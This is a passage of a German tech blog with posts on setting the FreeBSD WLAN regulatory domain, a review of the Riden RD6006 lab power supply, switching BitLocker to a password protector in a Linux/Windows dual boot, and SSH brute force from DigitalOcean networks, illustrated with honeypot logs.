[[Bild: Grafik zum Thema FreeBSD WLAN und Ländercode: Ein WLAN-Router mit Antennen, daneben Terminal-Kommandos zur ifconfig-Konfiguration von Regdomain und Country. Im Hintergrund eine Weltkarte mit Markierungen für FCC/US-Default und ETSI/DE sowie der FreeBSD-Daemon als zentrales Element.]](https://www.kernel-error.de/wp-content/uploads/2017/05/FreeBSD-WLAN-Laendercode.png)

Funkregulierung ist länderspezifisch. Jede Region definiert, welche 2,4 GHz und 5 GHz-Kanäle, Sendeleistung und Radar-/DFS-Regeln gelten. In FreeBSD steuert eine Kombination aus *Regulatory Domain* (z. B. ETSI für Europa, FCC für USA, APAC für Asien/Pazifik) und *Country* (z. B. „DE“ bzw. „Germany“, „AT“ bzw. „Austria“, „GB“ bzw. „United Kingdom“) den erlaubten Betrieb. Ohne Anpassung bleibt oft der US-Default aktiv, der in Europa eingeschränkter ist.

FreeBSD nutzt keine ISO-Kurzcodes allein (also nicht nur „DE“, „UK“). Der Country-Name muss exakt aus den Einträgen in */etc/regdomain.xml* kommen (z. B. „United Kingdom“ statt „UK“). Diese Erkenntnis hat bei mir zum Beginn etwas gebraucht 😉

## **Praxis: So stellst du es sauber ein**.

1 *Hardware/Interface prüfen*

```
sysctl net.wlan.devices      # listet WiFi-Chips
ifconfig wlan0               # zeigt aktuelles Regdomain/Country
ifconfig wlan0 list regdomain
ifconfig wlan0 list countries
```

2 *Interface runterfahren*

```
ifconfig wlan0 down
```

3 *Regdomain & Country setzen*

```
ifconfig wlan0 regdomain etsi2 country DE
# etsi2 bezieht sich auf die regionale Definition (Europa),
# DE ist der länderspezifische Eintrag aus /etc/regdomain.xml
```

4 *Interface wieder hochfahren*

```
ifconfig wlan0 up
```

5 *Persistenz in /etc/rc.conf* (denn das was wir bis jetzt gemacht haben ist nach dem nächsten Reboot weg).

```
sysrc create_args_wlan0="country DE regdomain etsi2"
sysrc wlans_iwn0="wlan0"
sysrc ifconfig_wlan0="WPA DHCP"
```

Ersetze iwn0 durch dein Device und etsi2 durch den passenden Regdomain-Block, wenn du nicht DE bist, sonst ist copy&paste gut.

## **Warum das wichtig ist**

- Rechtliche Konformität: falsche Domain/Code kann gegen lokale Funkbestimmungen verstoßen. Was in der Regel aber eher ein theoretisches Problem sein sollte.

- Kanalauswahl: Europa nutzt 1–13, USA nur 1–11. US-Default kann daher Kanäle ausblenden. Kanal 13 ist meist sehr „leer“ also gut, wenn viel um einen herum los ist ABER alle Geräte müssen das auch können und passend, wie hier beschrieben, für sich konfiguriert sein.

- DFS/5 GHz: moderne Regime wie ETSI/ETSI2 definieren zusätzliche Regeln für 5 GHz/DFS; FCC-Default kann hier ebenfalls andere Limits haben.

## **Aktuelle Unterschiede zu älteren Releases** (Update 2026).

FreeBSD 14.x/15.x haben bessere Treiber und WLAN-Stack-Support, was dazu führt, dass viele Geräte stabiler laufen. Die *Regulatory Domain-Mechanik* selbst hat sich nicht grundlegend verändert; sie ist weiterhin über ifconfig steuerbar. Firmware-Unterstützung für Chips kann aber Einfluss auf die tatsächliche Kanalnutzung haben, unabhängig von RegDomain-Einstellungen. Auf Probleme bin ich damit noch nicht gestoßen, was aber nur bedeutet, dass meine Hardware kein Problem macht.

## **Risiken/Trade-offs**

- Falsche Codes: „AU“ ist nicht immer Australien, manchmal Österreich im Regdomain XML; achte auf die Einträge. Aber hey, es gibt in Wien am Flughafen ja auch einen Schalter, nur um Menschen zu erklären, warum sie jetzt in Österreich und nicht in Australien sind 😀 Hin und wieder würde ich da gerne Sitzen, nur um die Gesichter zu sehen. Ja, das ist böse, ich weiß.

- Installer-Defaults: Der FreeBSD-Installer setzt nicht immer den passenden Regdomain/Country für WLAN – du musst das nachinstallieren/konfigurieren. Aber hey, das kennen wir doch von FreeBSD und mögen ja auch irgendwie diese Verlässlichkeit, oder?

- Treiber/Firmware: Manche WLAN-Adapter benötigen separate Firmware-Blobs (z. B. Realtek), sonst funktioniert WiFi gar nicht – unabhängig von Regdomain.

Frag? Dann wie immer fragen 😀

---

## 16. Riden RD6006 Labornetzteil im Test: AliExpress DC Power Supply Review

**Veröffentlicht:** 2020-05-03
**Permalink:** https://www.kernel-error.de/2020/05/03/aliexpress-labornetzteil-riden-rd6006-dc-power-supply/

[Bild: RIDEN RD6006 DC POWER SUPPLY Labornetzteil]

Vor knapp 20 Jahren habe ich mir ein Labornetzteil gebaut. Elektronik lernen und verstehen war dabei das Ziel. Das Netzteil liefert mir 30V und 3A ist kurzschlusssicher und hält Strom und Spannung auch unter Last sauber. Es ist komplett analog mit zwei dreistelligen Segmentanzeigen für Strom und Spannung.
Insg. ein sehr schönes Gerät welches mich schon viele Jahre begleitet. Dennoch stößt es immer wieder an seine Grenzen. Ich möchte mehr als 30V oder benötige mehr als 3A. Zum einfachen Messen muss ich weitere Geräte einschleifen, ebenfalls wenn ich Strom/Spannung sehr fein einstellen möchte geht es nicht ohne weiteres Messgerät und etwas Fingerspitzengefühl.
Verlaufskurven digital speichern, vorgespeicherte Werte schnell abrufen und ausgeben oder einfach zwischen verschiedenen Werten schnell wechseln…. Alles Dinge an welche man bei dem Gerät nicht denken muss. Ebenfalls ist es kein modernes Schaltnetzteil, sondern basiert noch „ganz Oldschool“ auf einem großen Trafo. Erst dahinter mache ich Strom und Spannung „sauber“ zu den damit verbundenen Nachteilen kommt die hohe Verlustleistung in Wärme.
Ein neues Labornetzteil was mir diese Möglichkeiten eröffnet muss her. Dabei benötige ich kein Highendgerät. Dafür sind meine Anwendungen zu simpel. Preis/Leistung muss halt passen. Ich bin daher auf das RIDEN RD6006 gestoßen. Ein Gerät von AliExpress aus China… Puhhh… Naja, im Grunde kommt ja inzwischen fast alles aus China. Nur kommt ebenfalls viel Schrott von dort. Die Eckdaten des Netzteils sind so gut, dass ich es probieren wollte.

Nach knapp 3 Wochen waren alle Teile bei mir und ich konnte beginnen es zusammen zu bauen. Das Handbuch gibt es als PDF in Chinesisch und Englisch, in diesem ist das nötigste beschrieben. Ich kann Akkus damit Laden, bekomme bei 60V noch 6A heraus, es lässt sich per USB mit dem PC verbinden, es gibt Software dafür, Firmwareupdates ebenfalls und und und…

Gut, das WLAN Modul funktioniert irgendwie nicht oder öhm nicht so wie ich es erwarten würde. Der Temperatursensor zur Überwachung der Akkutemperatur beim Laden muss „irgendwie“ aus dem Gehäuse gelegt werden und ich habe mich dann die Schutzerde doch zusätzlich noch ans Gehäuse geklemmt.

Davon abgesehen ist das Ding echt gut. Ja es tut was es soll und steigert meine Möglichkeiten.

Hier der Link zum „Nachkaufen“:  [https://s.click.aliexpress.com/e/_DBNqtJT](http://s.click.aliexpress.com/e/_dX2u7V2)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von Innen mit Blick auf Lüfert, Schalter, und Netzbuchse.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-001.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von außen mit Blick auf Lüfert, Schalter, und Netzbuchse.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-002.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von innen mit Blick auf bedien Modul und WLAN Adapter.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-003.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von außen mit Blick auf bedien Modul.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-004.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Netzteil.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-005.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Netzteil S-400-60 mit angeschlossenen Kabeln.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-006.jpg)

[[Bild: Schrauben und Einzelteile auf Lötmatte beim Zusammenbau des RIDEN RD6006 DC POWER SUPPLY.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-007.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY mit verbautem Netzteil und Lüftersteuerung.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-008.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY mit verbautem Netzteil und Bedienmodul.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-009.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Rückseite.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-010.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Unterseite.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-011.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Vorderseite und das aktive Bedienmodul.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-012.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Vorderseite und das aktive Bedienmodul und Testmessung der Ausgangspannung mit einem Multimeter.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-013.jpg)

[[Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Vorderseite und das aktive Bedienmodul und Testmessung der Ausgangspannung mit einem Multimeter.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-014.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY Zubehör zum Gehäuse.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-015.jpg)

[[Bild: Screenshot der Riden Power Supply Software mit aktiver Verbindung zum RIDEN RD6006 DC POWER SUPPLY.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-016.jpg)

[[Bild: Screenshot der Riden Power Supply Software mit aktiver Verbindung zum RIDEN RD6006 DC POWER SUPPLY.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-017.jpg)

[[Bild: Screenshot der Riden Power Supply Software mit aktiver Verbindung zum RIDEN RD6006 DC POWER SUPPLY.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-018.jpg)

[[Bild: RIDEN RD6006 DC POWER SUPPLY beim laden eines Akkus.]](https://www.kernel-error.de/wp-content/uploads/2022/02/RD6006-RIDEN-DC-PowerSupply-Labornetzteil-019.jpg)

[Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von Innen mit Blick auf Lüfert, Schalter, und Netzbuchse.][Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von außen mit Blick auf Lüfert, Schalter, und Netzbuchse.][Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von innen mit Blick auf bedien Modul und WLAN Adapter.][Bild: RIDEN RD6006 DC POWER SUPPLY Gehäuse von außen mit Blick auf bedien Modul.][Bild: RIDEN RD6006 DC POWER SUPPLY Netzteil.][Bild: RIDEN RD6006 DC POWER SUPPLY Netzteil S-400-60 mit angeschlossenen Kabeln.][Bild: Schrauben und Einzelteile auf Lötmatte beim Zusammenbau des RIDEN RD6006 DC POWER SUPPLY.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY mit verbautem Netzteil und Lüftersteuerung.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY mit verbautem Netzteil und Bedienmodul.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Rückseite.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Unterseite.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Vorderseite und das aktive Bedienmodul.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Vorderseite und das aktive Bedienmodul und Testmessung der Ausgangspannung mit einem Multimeter.][Bild: Gehäuse für das RIDEN RD6006 DC POWER SUPPLY geschlossen mit Blick auf die Vorderseite und das aktive Bedienmodul und Testmessung der Ausgangspannung mit einem Multimeter.][Bild: RIDEN RD6006 DC POWER SUPPLY Zubehör zum Gehäuse.][Bild: Screenshot der Riden Power Supply Software mit aktiver Verbindung zum RIDEN RD6006 DC POWER SUPPLY.][Bild: Screenshot der Riden Power Supply Software mit aktiver Verbindung zum RIDEN RD6006 DC POWER SUPPLY.][Bild: Screenshot der Riden Power Supply Software mit aktiver Verbindung zum RIDEN RD6006 DC POWER SUPPLY.][Bild: RIDEN RD6006 DC POWER SUPPLY beim laden eines Akkus.]

---

## 17. BitLocker im Dual-Boot: Systemplatte auf Passwortschutz umstellen​

**Veröffentlicht:** 2024-12-25
**Permalink:** https://www.kernel-error.de/2024/12/25/dual-boot-mit-linux-und-windows-bitlocker-fuer-die-systemplatte-auf-passwort-umstellen/

Die Feiertage sind da, und ich hatte tatsächlich etwas Zeit zum Zocken. Früher hatte ich dafür einen eigenen Rechner, heute reicht ein Dual Boot. Gearbeitet wird unter Linux, gezockt unter Windows. Dafür habe ich mein Windows auf einer gesonderten SSD installiert. Natürlich ist diese ebenfalls verschlüsselt, in diesem Fall mit BitLocker.

[Bild: Illustration eines Dual-Boot-Systems mit Linux und Windows, dargestellt durch die Logos beider Betriebssysteme. Die Windows-Seite zeigt ein BitLocker-Schloss-Symbol, das auf die Verschlüsselung der Systemplatte hinweist.]

Warum erzähle ich das? Na, weil die SSD irgendwann aufgegeben hat und ich mein Windows neu installieren darf. Ein Backup spare ich mir, da es eh nur zum Zocken ist.

Windows 11 war „schnell“ wieder installiert. Dann noch alle Treiber usw. – Gott, ist das noch immer alles aufwendig… Wie auch immer: Windows 11 und die Games sind drauf. Los geht’s!

Nun fragt mich mein BitLocker bei jedem Start der Betriebssystemfestplatte nach dem BitLocker-Wiederherstellungsschlüssel, wenn ich vorher in meinem Linux war. Da zuckt so eine Erinnerung durch mein Hirn: Das gleiche hatte ich schon mal, am gleichen Rechner. Wie hatte ich das damals gelöst? Ich habe nichts darüber geschrieben, also ist es einfach weg. Diesen Fehler mache ich nicht noch mal. Also liest du gerade etwas darüber. 😄

Der Ausgangspunkt: Ein Windows 11 Pro, installiert auf einer SSD, inkl. BitLocker-Verschlüsselung und TPM mit PIN. Warum PIN? Ich fühle mich einfach besser, wenn es noch eine manuelle Hürde zur Entschlüsselung gibt; Ist auch egal, soll ja nun weg.

Terminal als Administrator ausführen und dann:

```
C:\Windows\System32> manage-bde -status
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Datenträgervolumes, die mit BitLocker-Laufwerkverschlüsselung
geschützt werden können:
Volume "C:" [System]
[Betriebssystemvolume]

    Größe:                        465,00 GB
    BitLocker-Version:            2.0
    Konvertierungsstatus:         Nur verwendeter Speicherplatz ist verschlüsselt
    Verschlüsselt (Prozent):      100,0 %
    Verschlüsselungsmethode:      XTS-AES 128
    Schutzstatus:                 Der Schutz ist aktiviert.
    Sperrungsstatus:              Entsperrt
    ID-Feld:                      Unbekannt
    Schlüsselschutzvorrichtungen:
        Numerisches Kennwort
        TPM und PIN
        TPM
C:\Windows\System32>
```

Schlüsselschutzvorrichtungen sind also numerisches Kennwort, TPM und PIN, sowie TPM. Was fehlt? Richtig, das Password. Da ich nur das Password möchte, kann im Grunde alles weg. Damit Windows 11 mir erlaubt, TPM von meinem Betriebssystemvolume zu entfernen, muss ich vorher noch eine Gruppenrichtlinie anpassen.

Dafür einfach die Tastenkombination **Win + S** drücken und nach *Gruppenrichtlinie bearbeiten* suchen.

[[Bild: Editor für lokale Gruppenrichtlinien mit geöffneter Einstellung 'Zusätzliche Authentifizierung beim Start anfordern' unter 'Computerkonfiguration > Administrative Vorlagen > BitLocker-Laufwerkverschlüsselung > Betriebssystemlaufwerke'. Die Option ist aktiviert, um die BitLocker-Verschlüsselung ohne TPM zu ermöglichen.]](https://www.kernel-error.de/wp-content/uploads/2024/12/BitLocker-ohne-TPM-001.jpg)

[[Bild: Detailansicht der Gruppenrichtlinieneinstellung 'Zusätzliche Authentifizierung beim Start anfordern'. Die Option 'BitLocker ohne kompatibles TPM zulassen' ist aktiviert, und die Konfiguration für TPM-Start, Systemstartschlüssel und PIN wird angezeigt. Die Beschreibung auf der rechten Seite erläutert die Auswirkungen der Richtlinie.]](https://www.kernel-error.de/wp-content/uploads/2024/12/BitLocker-ohne-TPM-002.jpg)

Dann zu:
**Computerkonfiguration** ⇒ **Administrative Vorlagen** ⇒ **BitLocker-Laufwerkverschlüsselung** ⇒ **Betriebssystemlaufwerke** ⇒ **Zusätzliche Authentifizierung beim Start anfordern.**

Hier die Einstellung so ändern, dass der Haken bei *„BitLocker ohne kompatibles TPM zulassen“* gesetzt ist.

Im Anschluss sicherstellen, dass die neue Gruppenrichtlinie auch angewendet wird. Dazu im Administrator-Terminal einfach ein kurzes:

```
PS C:\WINDOWS\system32> gpupdate /force
Die Richtlinie wird aktualisiert...

Die Aktualisierung der Computerrichtlinie wurde erfolgreich abgeschlossen.
Die Aktualisierung der Benutzerrichtlinie wurde erfolgreich abgeschlossen.

PS C:\WINDOWS\system32>
```

So, jetzt wird’s spannend. Erstmal alle Schlüsselschutzvorrichtungen deaktivieren, dann löschen, die neue Schlüsselschutzvorrichtung *Password* hinzufügen und alles wieder aktivieren. Das Ganze natürlich im Administrator-Terminal. Ich starte damit, alle Schlüsselschutzvorrichtungen zu deaktivieren:

```
C:\Windows\System32>manage-bde -protectors -disable C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Die Schlüsselschutzvorrichtungen für Volume "C:" sind deaktiviert.
```

Als Nächstes schaue ich nach, welche Schlüsselschutzvorrichtungen auf meinem Betriebssystemvolume eingerichtet sind.

```
C:\Windows\System32>manage-bde -protectors -get C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Alle Schlüsselschutzvorrichtungen

    Numerisches Kennwort:
      ID: {AF6C0AAD-B337-4519-8D66-C06386994D97}
      Kennwort:
        673101-147301-650001-335379-291368-420618-438350-305327
      Sicherungstyp:
        In Datei gespeichert

    TPM und PIN:
      ID: {D5F87162-5556-4C27-82F9-25B389DBAF1B}
      PCR-Validierungsprofil:
        0, 2, 4, 11

    TPM:
      ID: {CA1BF147-2C40-4934-9161-660FBB44BA2C}
      PCR-Validierungsprofil:
        0, 2, 4, 11
```

Jetzt lösche ich alle Schlüsselschutzvorrichtungen anhand ihrer IDs:

```
C:\Windows\System32>manage-bde -protectors -delete C: -id {D5F87162-5556-4C27-82F9-25B389DBAF1B}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {D5F87162-5556-4C27-82F9-25B389DBAF1B}

    TPM und PIN:
      ID: {D5F87162-5556-4C27-82F9-25B389DBAF1B}
      PCR-Validierungsprofil:
        0, 2, 4, 11

Die Schlüsselschutzvorrichtung mit der ID "{D5F87162-5556-4C27-82F9-25B389DBAF1B}" wurde gelöscht.

C:\Windows\System32>manage-bde -protectors -delete C: -id {CA1BF147-2C40-4934-9161-660FBB44BA2C}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {CA1BF147-2C40-4934-9161-660FBB44BA2C}

    TPM:
      ID: {CA1BF147-2C40-4934-9161-660FBB44BA2C}
      PCR-Validierungsprofil:
        0, 2, 4, 11

Die Schlüsselschutzvorrichtung mit der ID "{CA1BF147-2C40-4934-9161-660FBB44BA2C}" wurde gelöscht.

C:\Windows\System32>manage-bde -protectors -delete C: -id {AF6C0AAD-B337-4519-8D66-C06386994D97}
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Schlüsselschutzvorrichtung mit ID {AF6C0AAD-B337-4519-8D66-C06386994D97}

    Numerisches Kennwort:
      ID: {AF6C0AAD-B337-4519-8D66-C06386994D97}
      Kennwort:
        673101-147301-650001-335379-291368-420618-438350-305327
      Sicherungstyp:
        In Datei gespeichert

Die Schlüsselschutzvorrichtung mit der ID "{AF6C0AAD-B337-4519-8D66-C06386994D97}" wurde gelöscht.
```

Wenn ich jetzt noch einmal kontrolliere, welche Schlüsselschutzvorrichtungen ich habe, sollten dort keine mehr stehen.

```
C:\Windows\System32>manage-bde -protectors -get C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Volume "C:" [System]
Alle Schlüsselschutzvorrichtungen

FEHLER: Es wurden keine Schlüsselschutzvorrichtungen gefunden.
```

Damit kann ich jetzt meine neue, gewünschte Schlüsselschutzvorrichtung *Passwort* hinzufügen.

```
C:\Windows\System32>manage-bde -protectors -add C: -password
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Geben Sie das Kennwort ein, das zum Schützen des Volumes verwendet werden soll:

Bestätigen Sie das Kennwort durch erneute Eingabe:

Hinzugefügte Schlüsselschutzvorrichtungen:

    Kennwort:
      ID: {4D141862-4C75-4321-AA6D-8BABB89C601C}
```

Bleibt nur noch, diese auch zu aktivieren.

```
C:\Windows\System32>manage-bde -protectors -enable C:
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Die Schlüsselschutzvorrichtungen für Volume "C:" sind aktiviert.
```

Wenn ich jetzt den BitLocker-Status prüfe, ist alles aktiv, und es gibt nur noch die Schlüsselschutzvorrichtung *Kennwort / Password*!

```
C:\Windows\System32>manage-bde -status
BitLocker-Laufwerkverschlüsselung: Konfigurationstool, Version 10.0.26100
Copyright (C) 2013 Microsoft Corporation. Alle Rechte vorbehalten.

Datenträgervolumes, die mit BitLocker-Laufwerkverschlüsselung
geschützt werden können:
Volume "C:" [System]
[Betriebssystemvolume]

    Größe:                        465,00 GB
    BitLocker-Version:            2.0
    Konvertierungsstatus:         Nur verwendeter Speicherplatz ist verschlüsselt
    Verschlüsselt (Prozent):      100,0 %
    Verschlüsselungsmethode:      XTS-AES 128
    Schutzstatus:                 Der Schutz ist aktiviert.
    Sperrungsstatus:              Entsperrt
    ID-Feld:                      Unbekannt
    Schlüsselschutzvorrichtungen:
        Kennwort
```

Starte ich meinen Computer und wähle im Grub Windows aus, werde ich danach nach meinem BitLocker-Kennwort gefragt, und das System fährt sauber hoch.

Fragen? Dann fragen 🙂

---

## 18. SSH-Bruteforce, DigitalOcean und AbuseIPDB – warum Blocken das Problem nicht löst

**Veröffentlicht:** 2026-01-07
**Permalink:** https://www.kernel-error.de/2026/01/07/ssh-bruteforce-digitalocean-und-abuseipdb-warum-blocken-das-problem-nicht-loest/

Aus gegebenem Anlass möchte ich ein paar Gedanken zu DigitalOcean aufschreiben. Nicht, weil ich glaube, dass DigitalOcean ein grundsätzliches Problem hat oder etwas falsch macht. Sondern weil DigitalOcean in meinen Logs seit Jahren besonders auffällt. Am Ende steht DigitalOcean hier eher sinnbildlich für ein größeres Thema.

Wer Systeme im Internet betreibt, kennt das Spiel. Server werden dauerhaft von außen angefasst. SSH-Ports werden gescannt, Login-Versuche laufen durch, Webseiten bekommen Requests auf bekannte Pfade, WordPress-Logins, XML-RPC, das volle Programm. Das ist kein gezielter Angriff, sondern automatisiertes Dauerrauschen. Bots, Skripte, Scanner, manchmal Security-Tools, manchmal schlicht schlecht konfigurierte Kisten.

[[Bild: Darstellung von automatisierten SSH-Bruteforce-Angriffen und Server-Härtung in Cloud-Umgebungen]](https://www.kernel-error.de/wp-content/uploads/2026/01/abuse-digitalocean.png)

Findet so ein Bot irgendwo ein offenes Loch, einen Standard-Login, ein vergessenes Passwort oder eine ungepatchte Schwachstelle, dann geht es weiter. Meistens wird erst einmal weitere Software nachgeladen. Der Host wird Teil eines Botnetzes, scannt selbst weiter, verteilt Spam, nimmt an DDoS-Aktionen teil oder schürft Kryptowährungen. Nichts davon ist neu, nichts davon ist überraschend.

Was mir allerdings seit mindestens vier Jahren auffällt: Ein sehr großer Teil dieser Brute-Force-Versuche, insbesondere auf SSH, kommt bei mir aus Netzen von DigitalOcean. Nicht ein bisschen mehr, sondern konstant irgendwo im Bereich von achtzig bis neunzig Prozent. Über Jahre. Über verschiedene Systeme hinweg.

Der erste Reflex liegt nahe. Wenn so viel aus einem Netz kommt, warum blockt man dann nicht einfach alle Netze dieses Anbieters? Dann ist Ruhe. Und wenn das alle machen würden, müsste der Anbieter ja reagieren. Der Gedanke ist verständlich. Ich hatte ihn selbst. Er ist aber aus meiner Sicht der falsche.

Ein pauschales Blocken ist im Grunde nichts anderes als eine Decke über das eigentliche Problem zu werfen. Das Problem ist damit nicht weg, es ist nur woanders. Die Bots wechseln dann eben zum nächsten Cloud-Provider. Außerdem produziert man sich damit ganz eigene Probleme. DigitalOcean-Netze komplett zu sperren heißt auch, legitimen Traffic auszusperren. APIs, Dienste, Kunden, Monitoring, externe Abhängigkeiten. Je nach Setup schneidet man sich damit schneller ins eigene Fleisch, als einem lieb ist.

Relativ schnell landet man dann bei Reputation-Diensten wie [AbuseIPDB](https://www.abuseipdb.com/user/34530). Dort melden Betreiber IPs, von denen Scans, Brute-Force-Versuche oder andere Auffälligkeiten ausgehen. Auch ich melde dort seit Jahren IPs, automatisiert und manuell. Formal funktioniert das gut. IPs bekommen Scores, werden gelistet, tauchen in Datenbanken auf.

Das Problem ist nur: Diese Systeme arbeiten IP-basiert. Und genau das passt schlecht zur Realität moderner Netze. In Cloud-Umgebungen sind IPs kurzlebig. Heute gehört sie einem kompromittierten Host, morgen einem völlig legitimen Kunden. Ein hoher Abuse-Score sagt wenig über den aktuellen Nutzer dieser IP aus. Reputation ist träge, Infrastruktur ist schnell.

```
Jan  6 22:58:08 honeypot03 sshd-session[61904]: Invalid user sonar from 64.23.228.101 port 38610
Jan  6 22:58:08 honeypot03 sshd-session[61904]: Connection closed by invalid user sonar 64.23.228.101 port 38610 [preauth]
Jan  6 23:02:13 honeypot03 sshd-session[62101]: Invalid user sonar from 64.23.228.101 port 38174
Jan  6 23:02:13 honeypot03 sshd-session[62101]: Connection closed by invalid user sonar 64.23.228.101 port 38174 [preauth]
Jan  6 23:06:12 honeypot03 sshd-session[62175]: Invalid user sonar from 64.23.228.101 port 35952
Jan  6 23:06:12 honeypot03 sshd-session[62175]: Connection closed by invalid user sonar 64.23.228.101 port 35952 [preauth]
Jan  6 23:10:10 honeypot03 sshd-session[62248]: Invalid user steam from 64.23.228.101 port 38236
Jan  6 23:10:10 honeypot03 sshd-session[62248]: Connection closed by invalid user steam 64.23.228.101 port 38236 [preauth]
Jan  6 23:14:17 honeypot03 sshd-session[62335]: Invalid user steam from 64.23.228.101 port 35952
Jan  6 23:14:18 honeypot03 sshd-session[62335]: Connection closed by invalid user steam 64.23.228.101 port 35952 [preauth]
Jan  6 23:18:22 honeypot03 sshd-session[62455]: Invalid user steam from 64.23.228.101 port 50096
Jan  6 23:18:22 honeypot03 sshd-session[62455]: Connection closed by invalid user steam 64.23.228.101 port 50096 [preauth]
Jan  6 23:22:24 honeypot03 sshd-session[62599]: Invalid user sugi from 64.23.228.101 port 53212
Jan  6 23:22:25 honeypot03 sshd-session[62599]: Connection closed by invalid user sugi 64.23.228.101 port 53212 [preauth]
Jan  6 23:26:26 honeypot03 sshd-session[62671]: Invalid user svnuser from 64.23.228.101 port 44820
Jan  6 23:26:26 honeypot03 sshd-session[62671]: Connection closed by invalid user svnuser 64.23.228.101 port 44820 [preauth]
Jan  6 23:30:26 honeypot03 sshd-session[62763]: Invalid user svnuser from 64.23.228.101 port 52156
Jan  6 23:30:27 honeypot03 sshd-session[62763]: Connection closed by invalid user svnuser 64.23.228.101 port 52156 [preauth]
Jan  6 23:34:30 honeypot03 sshd-session[62867]: Invalid user taryn from 64.23.228.101 port 54128
Jan  6 23:34:31 honeypot03 sshd-session[62867]: Connection closed by invalid user taryn 64.23.228.101 port 54128 [preauth]
Jan  6 23:38:41 honeypot03 sshd-session[62939]: Invalid user taryn from 64.23.228.101 port 39894
Jan  6 23:38:42 honeypot03 sshd-session[62939]: Connection closed by invalid user taryn 64.23.228.101 port 39894 [preauth]
Jan  6 23:42:44 honeypot03 sshd-session[63013]: Invalid user taryn from 64.23.228.101 port 57728
